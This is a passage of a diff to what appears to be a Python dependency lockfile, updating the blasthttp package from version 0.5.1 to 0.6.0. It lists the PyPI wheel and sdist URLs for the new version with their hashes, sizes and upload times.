upload-time = "2026-05-07T18:28:45.15Z" }, - { url = "https://files.pythonhosted.org/packages/1a/a0/4b5b9ba163d792f87ce1dc15180c4d49b8ccd32bca9689d0c2dfa32cef5b/blasthttp-0.5.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:a0f311998dfacdbb6cc540929471edbad7e943ba03b0721338fc187b850aa870", size = 4777624, upload-time = "2026-05-07T18:28:55.888Z" }, - { url = "https://files.pythonhosted.org/packages/63/76/d9b538467b90b0e04a50db8193717ce414e40d78250ae5c0ff6e9562cbdd/blasthttp-0.5.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:20c7a2086c0bae72ad7c12bdbe04f75258cbb49dc036eaf7c00834a625e0d0ee", size = 4746331, upload-time = "2026-05-07T18:29:05.591Z" }, - { url = "https://files.pythonhosted.org/packages/df/d3/8829983cb5be11320f0913877a49771827ab3c0b23a75b49912af96e89be/blasthttp-0.5.1-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:e220270707d5eeab95adc0514d7bc6615b80c7d2e4af6f2236ee731ca3c90f88", size = 4753416, upload-time = "2026-05-07T18:27:37.3Z" }, - { url = "https://files.pythonhosted.org/packages/11/4c/3dde5c943fefe6463fe0056f2e8fae9f4cedbee664f28cb882cb9060a88c/blasthttp-0.5.1-cp312-cp312-manylinux_2_28_armv7l.whl", hash = "sha256:8fc60f3edf95766cf715d26d0ce2a87a10d802431324047964a478484bcbbf39", size = 4056173, upload-time = "2026-05-07T18:27:47.611Z" }, - { url = "https://files.pythonhosted.org/packages/8d/d0/adb42760fd3c634186a21c2c3ab016d098187b0fa7867df804a593b118e9/blasthttp-0.5.1-cp312-cp312-manylinux_2_28_i686.whl", hash = "sha256:503a5324c746db7522665ec14fa6b2b00fa32e854a526c42a80719032fde1195", size = 4646538, upload-time = "2026-05-07T18:28:17.582Z" }, - { url = "https://files.pythonhosted.org/packages/a8/ec/2ca18456e012b545b5fec48ed1234d3fedf9cf9c89efec7e9848f4e06472/blasthttp-0.5.1-cp312-cp312-manylinux_2_28_ppc64le.whl", hash = "sha256:f141807b927bee9c9e6fff078027d625ba7d375d380bb79de3a69b7cd32370c1", size = 4650786, upload-time = "2026-05-07T18:27:57.896Z" }, - { url = "https://files.pythonhosted.org/packages/73/a8/6d8e19ebafbca3467b1d8655e3144d2cdf97dcf524f0029002b0e5666b10/blasthttp-0.5.1-cp312-cp312-manylinux_2_28_s390x.whl", hash = "sha256:6e116205aea16b8a772dacc9b28cb49a0e3ff6de01ed5f987c4381cb4ea2373d", size = 4271821, upload-time = "2026-05-07T18:28:07.918Z" }, - { url = "https://files.pythonhosted.org/packages/aa/4d/e9638afa76dadb50e6204d8ba19493752e4257a4e54396082abba457baa6/blasthttp-0.5.1-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:3190bc1605af2a3e9bfce73825a6c2892548173376c3cfd66fdfbc46349fd295", size = 4400583, upload-time = "2026-05-07T18:28:27.438Z" }, - { url = "https://files.pythonhosted.org/packages/fd/d2/8b5821db29f000a24ff83fa02c937a89f95a990ed85abfbf65d73163bf41/blasthttp-0.5.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:34fb35ff5c755d70ab195f6d1bf6b19f82ec1c9d45c264ea0688ba6e1d7b187f", size = 5045394, upload-time = "2026-05-07T18:28:37.056Z" }, - { url = "https://files.pythonhosted.org/packages/69/a0/b330f4cd0b422199a6dc8d2d46e18f971df0542d34ce59758dbe323f4f94/blasthttp-0.5.1-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:77c8a11a6d2101ef3a9b3ddb1d6dc35188967cec384566be6e375940221ad565", size = 4354081, upload-time = "2026-05-07T18:28:48.069Z" }, - { url = "https://files.pythonhosted.org/packages/26/8d/408beb779ee330f0fcf38016656034ddb943d620c8fe7c5c2aaed98c4096/blasthttp-0.5.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:5e0603e612ae91579cf437ed9b2014451cfac73f45bf0d21c399197238944bb9", size = 4773321, upload-time = "2026-05-07T18:28:57.629Z" }, - { url = "https://files.pythonhosted.org/packages/8c/c0/3b1cde8fb0b93c7fa493a399d9babccc2117a06423955872e716eb748bb0/blasthttp-0.5.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:7b7ced43ddcf436a85cc2c33c7e7895d324fc6b708a6098e122d5246bc5c2a7c", size = 4740837, upload-time = "2026-05-07T18:29:07.454Z" }, - { url = "https://files.pythonhosted.org/packages/f2/6c/fa8bfa5d1932fac65802904cd9630a8863593f884fe0e0c4924e54ef3402/blasthttp-0.5.1-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:45d01055a1473b22dd460881f07ad4dd9fb64cd8044c391475540c761a490fda", size = 4750786, upload-time = "2026-05-07T18:27:39.329Z" }, - { url = "https://files.pythonhosted.org/packages/fb/1e/06d57776db6ae8078acc51aa0e71b59c4316c1a2ec62c4c34418aa54f073/blasthttp-0.5.1-cp313-cp313-manylinux_2_28_armv7l.whl", hash = "sha256:2e9951422b43938059d87ea17594f81a2fe3be932e53c63a9670cd64465c8c7e", size = 4055319, upload-time = "2026-05-07T18:27:49.413Z" }, - { url = "https://files.pythonhosted.org/packages/9c/a6/9c3c09b6d214ed6b1286156b3209ec39770fc25879f0911c032fdb92de17/blasthttp-0.5.1-cp313-cp313-manylinux_2_28_i686.whl", hash = "sha256:9582a8ba5f2dd0fb140c6e2a8cbdee0a9a42171636fa4963e40bdc9370db8592", size = 4650611, upload-time = "2026-05-07T18:28:19.967Z" }, - { url = "https://files.pythonhosted.org/packages/e7/3b/4cadba4c58fe9adcba405da6ec882a42ce76fe2a158c3d61c49f0a7a75bf/blasthttp-0.5.1-cp313-cp313-manylinux_2_28_ppc64le.whl", hash = "sha256:1f014f2a540f02988df63db363dd59ea0a755becdc85e7a4e89c364e273532c3", size = 4656848, upload-time = "2026-05-07T18:27:59.929Z" }, - { url = "https://files.pythonhosted.org/packages/fa/52/eeea501e966c27b0f7931ff1fa81efdefa877dacbe273a18dfd93940faed/blasthttp-0.5.1-cp313-cp313-manylinux_2_28_s390x.whl", hash = "sha256:5b36ed6a395e70ec5bd0b9d751f2b3f27f2ca47e5d444cb2d0bd831f0c0f2089", size = 4269300, upload-time = "2026-05-07T18:28:09.993Z" }, - { url = "https://files.pythonhosted.org/packages/71/a6/ef585df6a3704e1c0adc42fd6d1fe9c5de1e3d7b4faf940268ea036c6d77/blasthttp-0.5.1-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:e3f189ccf8b96b83ad786ae3130a5f792edf8947b58875a88d556c7150b49bf1", size = 4398860, upload-time = "2026-05-07T18:28:29.363Z" }, - { url = "https://files.pythonhosted.org/packages/03/67/cdedc3ee88728486f2214bf8784e71f96d5c05426c58988002b9922e2813/blasthttp-0.5.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:8cc079bd171452bab6e639a20ac9d946c2145e94fccde8750e9516ac988527ef", size = 5042568, upload-time = "2026-05-07T18:28:39.091Z" }, - { url = "https://files.pythonhosted.org/packages/eb/9c/bc0d90bb71a2b1b86bee746ce083e06e70d35e91774d15254c959ab21ecf/blasthttp-0.5.1-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:792bb93ae83211ce6effd969b318883e6df141ee32642c5659cbbf7521357402", size = 4353688, upload-time = "2026-05-07T18:28:50.014Z" }, - { url = "https://files.pythonhosted.org/packages/c6/6a/e0cf6f11b35542cf6a621b17630071c6d384eac021712a2792c104c1a700/blasthttp-0.5.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:dd2b8a4f7da0a1f01b9b7f8285b7206097b0fdec28e66fd0f227cab382434b87", size = 4776869, upload-time = "2026-05-07T18:28:59.56Z" }, - { url = "https://files.pythonhosted.org/packages/f5/b1/767ef4b4449c144844dbdabae8c8c3543566bab86a8988e7bf7605d8f6b9/blasthttp-0.5.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:31d3fdce0dec44cf90e1e7c42dea28bc5a608d4f0ec9957d6daae1d17a85a34e", size = 4740866, upload-time = "2026-05-07T18:29:09.474Z" }, - { url = "https://files.pythonhosted.org/packages/54/b8/55773b2c131d62ccd0da80df1d14c89abe2400e48d14965f64d5bc24dd67/blasthttp-0.5.1-cp314-cp314-manylinux_2_28_aarch64.whl", hash = "sha256:7e63602c657d991a04c0f9cd07bf79e07b3653b2f8d463677fc3b400100e89a1", size = 4751678, upload-time = "2026-05-07T18:27:41.883Z" }, - { url = "https://files.pythonhosted.org/packages/fc/04/56645c45dbdbe5776d26c752fe5a6c4b78a79c257ee72d6800e7c0a7517e/blasthttp-0.5.1-cp314-cp314-manylinux_2_28_armv7l.whl", hash = "sha256:7830256ad0f7306fa6c124bcf151a60f1be3d052f281c75687d3c4c31483505b", size = 4053899, upload-time = "2026-05-07T18:27:51.345Z" }, - { url = "https://files.pythonhosted.org/packages/bd/98/a9cd12d8f511da6f88c31da2a620e65704156fda5b081dc2e32259b31db4/blasthttp-0.5.1-cp314-cp314-manylinux_2_28_i686.whl", hash = "sha256:99b2f6005a32f9bac360843bf56ccb3670e3a514d12089484161eb8f4719476b", size = 4646514, upload-time = "2026-05-07T18:28:21.852Z" }, - { url = "https://files.pythonhosted.org/packages/d5/f6/ab280c9b32e2cc69a9985a52705920dc94d45c7b4fc864e040b38d07d0b7/blasthttp-0.5.1-cp314-cp314-manylinux_2_28_ppc64le.whl", hash = "sha256:3e8482467a5f3eb8ebc2f126962469c2879527a2e12f19d3c98c1a08bcb4e52a", size = 4650094, upload-time = "2026-05-07T18:28:01.841Z" }, - { url = "https://files.pythonhosted.org/packages/b3/45/613a32c54607340c607ffd39f902fd86aa6fe51be3e6a2df9ef54639251a/blasthttp-0.5.1-cp314-cp314-manylinux_2_28_s390x.whl", hash = "sha256:caa19201bacf87a85baf66e0d5d4c50c99be6d04794c6319585a93802d79b407", size = 4268936, upload-time = "2026-05-07T18:28:12.078Z" }, - { url = "https://files.pythonhosted.org/packages/a0/3e/e5283d9f474aa781031b7998915aa5a06ff06c3862b57ba3a5a414df07b7/blasthttp-0.5.1-cp314-cp314-manylinux_2_28_x86_64.whl", hash = "sha256:3846854fb99b71fa47b34aedd81100fc6c2c6772fc0d39b9fb36f05538d17262", size = 4401565, upload-time = "2026-05-07T18:28:31.151Z" }, - { url = "https://files.pythonhosted.org/packages/80/94/778114a7b4f1dd55d098f07a6525dfaedb1c26668d50a99b10edae7a8b65/blasthttp-0.5.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:6da8900885e8136de8ddee17fc7854cee2483cebce49f356e99dcaf59e8dc7c7", size = 5044853, upload-time = "2026-05-07T18:28:41.058Z" }, - { url = "https://files.pythonhosted.org/packages/5c/62/bbfc224d7991e3aea67d31a579e77e4b1da16bb758dcc3cf7e1e6c71d6f2/blasthttp-0.5.1-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:ee3bb7327110943e1d0c2c4fe1610a38a83615bff36d0f1b3beebffe1b0e135c", size = 4351539, upload-time = "2026-05-07T18:28:51.845Z" }, - { url = "https://files.pythonhosted.org/packages/e0/1c/47b56406842e69d1141d786d27d82b94efa223e1e56d20a4ecc5d09bea62/blasthttp-0.5.1-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:4d81941032f724243a784503a2a8cd0190974932e16ec5d8f65cc2c593de1d09", size = 4775145, upload-time = "2026-05-07T18:29:01.519Z" }, - { url = "https://files.pythonhosted.org/packages/21/f7/6b75a895c9efb6443a5cf401b3f8fd8e9b40425c1fe8abeb552a56e71fb6/blasthttp-0.5.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:ec5ff94b70c3a5ec11b19a20235d07f7851dee459084063c0ab13ecd6a7a46ea", size = 4742883, upload-time = "2026-05-07T18:29:11.231Z" }, +version = "0.6.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/1a/ea/48bb3431fa5251cdbf94bbdf3f8ef8812ef68443cdb81465349b035e2f86/blasthttp-0.6.0.tar.gz", hash = "sha256:1aeacd1138dce99fdf9629b214efa6550ffacb977760bd08545ec612afcab613", size = 143136, upload-time = "2026-05-14T16:07:59.223Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/8f/d7/d5fd3c5df6168081ce544340904725f0eb6aa51c3a607d5295653888f290/blasthttp-0.6.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:56ded6b27713fa342db563beb9727f5940ce9854c4bfd28b2d20c1d002513086", size = 4768807, upload-time = "2026-05-14T16:06:38.099Z" }, + { url = "https://files.pythonhosted.org/packages/06/48/890259faa9414895b596c1f295e6e3a086c186d0c1f12515b5bfc8544e3b/blasthttp-0.6.0-cp310-cp310-manylinux_2_28_armv7l.whl", hash = "sha256:eddcf73ff84668663723b10ddf4eb040940ee9859d7915b28d155b1d5da6d8a6", size = 4077493, upload-time = "2026-05-14T16:06:46.178Z" }, + { url = "https://files.pythonhosted.org/packages/50/57/8de9e9db8f2ad1cecbb1aa886621d8e9fd538934ab332b7ad969d7e1f388/blasthttp-0.6.0-cp310-cp310-manylinux_2_28_i686.whl", hash = "sha256:abeb13860a1f201316812cc55a83ceabb596857eecda3479fc1b093584cae9d6", size = 4668672, upload-time = "2026-05-14T16:07:11.409Z" }, + { url = "https://files.pythonhosted.org/packages/75/a0/838755b14b9947e1e203b6ac003e59ae631940ebe14981f9aaaf40d6e1a2/blasthttp-0.6.0-cp310-cp310-manylinux_2_28_ppc64le.whl", hash = "sha256:fe58eabea3b735aa520b44b85198f43a6789b0bb4cec54542977a464bf37ff10", size = 4671501, upload-time = "2026-05-14T16:06:54.771Z" }, + { url = "https://files.pythonhosted.org/packages/0e/f9/06a584a15463ae3866a95ff10f812bb55bcacf38ed00cd68d36d69c92f18/blasthttp-0.6.0-cp310-cp310-manylinux_2_28_s390x.whl", hash = "sha256:6f6977918765deaf6efd915db3b9074ae4dd4da040fb01c26bb6fb1fc2d8c39e", size = 4277768, upload-time = "2026-05-14T16:07:03.803Z" }, + { url = "https://files.pythonhosted.org/packages/4f/ad/7f6a7e04cedbdec74f201e2375c9a533ba81b0c00bac02e6749bb9fe84c7/blasthttp-0.6.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:58d2a96d62191e6b20ea8472dd094c7136ec1454ea20f27661d6f0c6488f14ca", size = 4416208, upload-time = "2026-05-14T16:07:20.266Z" }, + { url = "https://files.pythonhosted.org/packages/8e/54/b98682d38e4a37156f3c6d77325b913decbd6a3a0c7bf7c9460b717b4acf/blasthttp-0.6.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:855ca86cf138afa93d1fe4a97cacfdaf327dda8ead66b886952d43988c1e12c5", size = 5055173, upload-time = "2026-05-14T16:07:27.908Z" }, + { url = "https://files.pythonhosted.org/packages/72/7e/a76fdbabcba952ffdd7c1f1e4ece57dab5cac7e0c58ac4c947449c123f3b/blasthttp-0.6.0-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:e791d595915f133e237a6bd03d3b8f753cc2293a49b7b3e82b62d6f4e76b63bb", size = 4373638, upload-time = "2026-05-14T16:07:35.629Z" }, + { url = "https://files.pythonhosted.org/packages/2b/16/966c970f688be1caa09c24a679f84dbfa32bc3d7c5556dec5edcc3c18531/blasthttp-0.6.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:ddfc579111b941fc691d09ffa86ed9b7be23c3b0fb3d2622369708ccf56a3a52", size = 4799390, upload-time = "2026-05-14T16:07:43.384Z" }, + { url = "https://files.pythonhosted.org/packages/a9/27/16524bce47b0883569944bdb254dd548f50906731a5c0cbdcd5e6c6e8a1a/blasthttp-0.6.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:d45d00374bfc6cd77f2b26f89dc6c4e29d084b0c95eff33c54b0daa47586ff5f", size = 4760167, upload-time = "2026-05-14T16:07:51.622Z" }, + { url = "https://files.pythonhosted.org/packages/a2/80/2bab812688587f19d9742465ae467facd584f9e0739411a038287ac7abad/blasthttp-0.6.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:529b764c0a8a0d1dd2b67b4f8ccea5a079ff02cc2b50747f70dbb9697c560256", size = 4765336, upload-time = "2026-05-14T16:06:39.839Z" }, + { url = "https://files.pythonhosted.org/packages/26/1a/6ebb802a082c66f3597f387cf3d0a5ca4df50d2c3d34a48708c891937a52/blasthttp-0.6.0-cp311-cp311-manylinux_2_28_armv7l.whl", hash = "sha256:40f27fc54b8fd4dce4c2830eb5bbb85d8f4efb5872a1f0176342d6a6c826f0fc", size = 4074514, upload-time = "2026-05-14T16:06:47.98Z" }, + { url = "https://files.pythonhosted.org/packages/65/81/9bdbb226a50ed81edf9ab6cf18594097b6fee9f027344a4c5be366ea25e1/blasthttp-0.6.0-cp311-cp311-manylinux_2_28_i686.whl", hash = "sha256:b4cdd58b4f39904318783ea48321a1a1cdf9ebfeabe6695f9540d9f1f0a7eecf", size = 4665275, upload-time = "2026-05-14T16:07:13.538Z" }, + { url = "https://files.pythonhosted.org/packages/4c/24/ccefb9b9b0298a32eb43f072c152f8852585e33c30f844bb8c110ad03542/blasthttp-0.6.0-cp311-cp311-manylinux_2_28_ppc64le.whl", hash = "sha256:32c3c7533013623b45552a69f498f998d01c44739bd19c8ce0b63b804c1e1fac", size = 4669676, upload-time = "2026-05-14T16:06:57.134Z" }, + { url = "https://files.pythonhosted.org/packages/32/da/a9d9625a267ae42964503a665caf4cf9c3ccbf92829d40606b0311f851f7/blasthttp-0.6.0-cp311-cp311-manylinux_2_28_s390x.whl", hash = "sha256:20f4ff21a3b170bc208fd7fc6a87055d36e7f992c9d3bdc8af21f11c31ffb0f4", size = 4273185, upload-time = "2026-05-14T16:07:05.352Z" }, + { url = "https://files.pythonhosted.org/packages/18/85/433a37338aab174ef6b00ab77add1a6a124c22b9538d8ee6f7f9d5a7aa1c/blasthttp-0.6.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:30586869e59bf341c3be44f2165a2aa4b42fbe922636ee476c1c4e9992d7e40e", size = 4412764, upload-time = "2026-05-14T16:07:21.667Z" }, + { url = "https://files.pythonhosted.org/packages/24/cd/91fd782521faea060d5673d1bcd0a79337c5c106128be5e50d77234419ca/blasthttp-0.6.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:23f8737e9b162d7340f78506d0272335097ddce23b8471be9f2d4304b2a5bef2", size = 5051936, upload-time = "2026-05-14T16:07:29.505Z" }, + { url = "https://files.pythonhosted.org/packages/a0/c3/4da22fbe77be8205980ca7f9f68313cb4c21497b423fa163d389e3f07cb8/blasthttp-0.6.0-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:274ea445b893cb48899c513821225b1a29d0752f065d2181851702d0192e2988", size = 4371992, upload-time = "2026-05-14T16:07:37.184Z" }, + { url = "https://files.pythonhosted.org/packages/8d/0e/be706e86d5b034809dfffdc1e9bf83de6e1e078977bb6e90ac271af79c9a/blasthttp-0.6.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:d0a435a4386f739ff5b899df8ef5210159cfd98bab19afff1bb7f21777418adc", size = 4796663, upload-time = "2026-05-14T16:07:44.887Z" }, + { url = "https://files.pythonhosted.org/packages/cc/4f/420bf3d523572672ca0ee6f1e1fa9683d881b7fc78404fc0033b06ccc1b8/blasthttp-0.6.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:834a3baa079be05c404ace80761ae4a2566c71dffa271994c2c146b13cd69044", size = 4757936, upload-time = "2026-05-14T16:07:53.124Z" }, + { url = "https://files.pythonhosted.org/packages/13/9c/21973500bc8a55c1d838c012421bbf680ba7b3a7966b747f78bfa75092d9/blasthttp-0.6.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:ba03033863b63e6ad9dc8ad6f1546009931a3714bc4e7fdafaecdc183111472e", size = 4757458, upload-time = "2026-05-14T16:06:41.441Z" }, + { url = "https://files.pythonhosted.org/packages/6c/3a/efd0e5d00819b9ac8a084aa283a460646f6b5cd21cab521be67c0bfca634/blasthttp-0.6.0-cp312-cp312-manylinux_2_28_armv7l.whl", hash = "sha256:a8ee21ce5833f3cf61395dee37255426d043248826deccb8bb03b36e4df43b38", size = 4073270, upload-time = "2026-05-14T16:06:49.891Z" }, + { url = "https://files.pythonhosted.org/packages/b1/ca/2954c2fcdfd2e5acbef065dad0cf5f0097a2e93a29e75f470d0aaadcd1ce/blasthttp-0.6.0-cp312-cp312-manylinux_2_28_i686.whl", hash = "sha256:84be7bcb5381441edc2df5f01fa5e76ff9a0d87b6cc161bb0ef5bb8984ac5828", size = 4666252, upload-time = "2026-05-14T16:07:15.361Z" }, + { url = "https://files.pythonhosted.org/packages/f3/dc/53e3fc94cad450ac92ab4eeb925749d149c313ca2365eb33c7ab3a7447ce/blasthttp-0.6.0-cp312-cp312-manylinux_2_28_ppc64le.whl", hash = "sha256:14166a045d226aed3acecfe4daadf4b27b89905d6dd83d6a30bb1e1e1a67ae57", size = 4668525, upload-time = "2026-05-14T16:06:58.518Z" }, + { url = "https://files.pythonhosted.org/packages/60/29/2e21ebc6b9f4bcaa55498213e1265d866a82409b9ef0cf1c1c039aa121a5/blasthttp-0.6.0-cp312-cp312-manylinux_2_28_s390x.whl", hash = "sha256:241dbf9c5f4977631414cd76a08a38d786996aadaed12feecb1a976fd363f547", size = 4277716, upload-time = "2026-05-14T16:07:06.989Z" }, + { url = "https://files.pythonhosted.org/packages/8d/b2/888fcb40ae9f3759c35264d359c3b25a179d2aabdcb2c80761b60581baef/blasthttp-0.6.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:8fe29d685c3bc372f9eb68341794bc2410c23faac0d0789913f270832446a8c9", size = 4412080, upload-time = "2026-05-14T16:07:23.316Z" }, + { url = "https://files.pythonhosted.org/packages/d6/0b/933ca0ac433e4217c88acf6d0fda8c82035f0a4c660eed1438fe95d27532/blasthttp-0.6.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:7bcab81227fa9d1132c169e1c6471fe0d9ba7d345652c9dc6c56f33f57e9b289", size = 5048699, upload-time = "2026-05-14T16:07:30.906Z" }, + { url = "https://files.pythonhosted.org/packages/00/61/a0051df64100b7720e717f041e48691d30dc63798dcab7b58fc2061da7e0/blasthttp-0.6.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:d4d46ab96780a74c877ff10e57cdb9ca09a7070fa4b58bb65ac7b62131586fd1", size = 4370681, upload-time = "2026-05-14T16:07:39.045Z" }, + { url = "https://files.pythonhosted.org/packages/11/c1/cfcdef2a7d63e1a3c0ff859ad3e47c88752d47daa08a0e61be6a7774afa1/blasthttp-0.6.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:780c34b119fa84b8ce12a7709697820d3cfba97e1d2b4610dafcafef5af97e99", size = 4794525, upload-time = "2026-05-14T16:07:47.055Z" }, + { url = "https://files.pythonhosted.org/packages/cd/c9/22e1fc9643a89db1d1d4191298ddef232c26969a45fe8ed822641073488c/blasthttp-0.6.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:6fce231bc68ca9919f7762603415b2b66326e3e71015e48573657536f4692435", size = 4756099, upload-time = "2026-05-14T16:07:54.854Z" }, + { url = "https://files.pythonhosted.org/packages/de/cf/f815fdd9fcaaecb1923ae7a15bd31fb2491003d2d69c3e8ce0054f014a8f/blasthttp-0.6.0-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:add7512d1349e9a02c6b96f367afca883b99f0de1d9dea156d7802f53bd02770", size = 4756447, upload-time = "2026-05-14T16:06:43.212Z" }, + { url = "https://files.pythonhosted.org/packages/36/43/1e4ddabae180bf37a70e8da6df45c30057780f3760332e3203ac682a9240/blasthttp-0.6.0-cp313-cp313-manylinux_2_28_armv7l.whl", hash = "sha256:4207c34e9a39a272b931746115e106c43e8317a110f866d3f34d56deea1faf76", size = 4072488, upload-time = "2026-05-14T16:06:51.774Z" }, + { url = "https://files.pythonhosted.org/packages/f3/64/51f136383ffb0e19f816eaf180fbe881ab642ebd35b4c232a380987c7cde/blasthttp-0.6.0-cp313-cp313-manylinux_2_28_i686.whl", hash = "sha256:f69bc235a566882d93803c23a2d675142a9e8677d591668c59e68e8fd777ef3e", size = 4668559, upload-time = "2026-05-14T16:07:17.138Z" }, + { url = "https://files.pythonhosted.org/packages/66/99/d56bd452d2f4ff3f02d2819f08a4ed8a38f8d23338543482b0300e30dbce/blasthttp-0.6.0-cp313-cp313-manylinux_2_28_ppc64le.whl", hash = "sha256:5811f54ff948978126238c90e3c0fb97f3d844dbedda249801afa25f2f58629b", size = 4668309, upload-time = "2026-05-14T16:07:00.046Z" }, + { url = "https://files.pythonhosted.org/packages/25/00/68df15ffdca54262be7a21a73933830c839791d7da2e4b46bfc937680fca/blasthttp-0.6.0-cp313-cp313-manylinux_2_28_s390x.whl", hash = "sha256:9d0d9fb433770322ad8c06bd5146f02605d585dd32729a00e14739196ee524f7", size = 4277320, upload-time = "2026-05-14T16:07:08.528Z" }, + { url = "https://files.pythonhosted.org/packages/ff/2d/4307948c59213cd6bd2953416e23c26f3f52608d63077643fd0a29285bd9/blasthttp-0.6.0-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:2a364a9a7893f0b8d72ac3588d5f43a213ae907a2cde79b7aa138ddd3c010ae6", size = 4411831, upload-time = "2026-05-14T16:07:24.781Z" }, + { url = "https://files.pythonhosted.org/packages/2f/4a/b6982fa4f3562862c5963b11b6a1563c4dc7d2ba78982473fe156f8014db/blasthttp-0.6.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:1360b4dc332bb079faf27ee9180255aaff16225e2984c0bbfdf1cdc079190054", size = 5047182, upload-time = "2026-05-14T16:07:32.649Z" }, + { url = "https://files.pythonhosted.org/packages/46/30/a13caf8c0d8d86b4936da3ccdcf6101a50d1e96236efbcb9eb6715ec0d56/blasthttp-0.6.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:83d8047133f6ee0646c968078acf99e61213ce5c94be4ba3db87a39301730d37", size = 4371606, upload-time = "2026-05-14T16:07:40.573Z" }, + { url = "https://files.pythonhosted.org/packages/8c/77/67686791aada4e39ba7dcf5c9799ad7b92c314c2bf8bd8f6cc30751789ba/blasthttp-0.6.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:e0152eea7635053d6588957f8f5ba266aa9d2be217000f176d9aa801c69a28a0", size = 4794127, upload-time = "2026-05-14T16:07:48.652Z" }, + { url = "https://files.pythonhosted.org/packages/28/93/aae5c8b8333d61d3cdd228dc686a496559cc54583b53404f18723480ba51/blasthttp-0.6.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:06bb28235b7c48a9faee9afca9cbae74612a86215ece769edfe8c9b5776e422d", size = 4755045, upload-time = "2026-05-14T16:07:56.424Z" }, + { url = "https://files.pythonhosted.org/packages/9f/95/074bd5bd743f7972ad854614ddd4a94bb6cf5c236ed39fc4c96b1212c51b/blasthttp-0.6.0-cp314-cp314-manylinux_2_28_aarch64.whl", hash = "sha256:5f2f1bcd183b3b9a9d60e9edccb5ffb8b11608824b88ffc848da065225a03635", size = 4762581, upload-time = "2026-05-14T16:06:44.706Z" }, + { url = "https://files.pythonhosted.org/packages/52/94/62c1a2369a5ca4397c0f32146a3ea2cb698ab3c41ce313f07e46b0d3bb70/blasthttp-0.6.0-cp314-cp314-manylinux_2_28_armv7l.whl", hash = "sha256:aca4c2d7f593fba10c71790c17bc6d47cee5e8177e1f8dc21b8e42b6a05b81d4", size = 4066477, upload-time = "2026-05-14T16:06:53.229Z" }, + { url = "https://files.pythonhosted.org/packages/c8/61/acae082d6a846b699474160bdd9e5c2c2764e6bcb8948d91fb05ceb4ce1b/blasthttp-0.6.0-cp314-cp314-manylinux_2_28_i686.whl", hash = "sha256:0b22afaca123defb8ee029106ff73e125e2015c5a93055d50db31e46e53775a2", size = 4666893, upload-time = "2026-05-14T16:07:18.703Z" }, + { url = "https://files.pythonhosted.org/packages/e2/dc/fcff4f1019d9219af540c1b5477c8e77d223727f179191023741080809dc/blasthttp-0.6.0-cp314-cp314-manylinux_2_28_ppc64le.whl", hash = "sha256:e23844187f065a4a28783a66c77e2be8573ac0f46f1b7b45fc6283b80c9a16a7", size = 4662504, upload-time = "2026-05-14T16:07:01.843Z" }, + { url = "https://files.pythonhosted.org/packages/ce/e0/d933f3642b63c5d30650c650e896929330e4291bd87daea1c7db0154436a/blasthttp-0.6.0-cp314-cp314-manylinux_2_28_s390x.whl", hash = "sha256:5df304aa290e6bee8aaa30fa7dd25142d68d84b65815004e0485c3ab9e26135c", size = 4278626, upload-time = "2026-05-14T16:07:09.947Z" }, + { url = "https://files.pythonhosted.org/packages/b4/ec/9e42f77b5e8769fccde321da6c46e8f53f3234bce11d4069525367eaec3d/blasthttp-0.6.0-cp314-cp314-manylinux_2_28_x86_64.whl", hash = "sha256:16b235b97250e950595d52bd3cc33ef5866d447fc34ae8e87aaba9b12c00f274", size = 4413903, upload-time = "2026-05-14T16:07:26.367Z" }, + { url = "https://files.pythonhosted.org/packages/79/d7/fca5cd404cfa334af0564f0f389ca0bff1fc31dbbf8ec789e513e7f1602b/blasthttp-0.6.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:b3e4d48aa123631e8b145ca8b02dca36dc228faa05f62d005e91e84df70e765f", size = 5049329, upload-time = "2026-05-14T16:07:34.185Z" }, + { url = 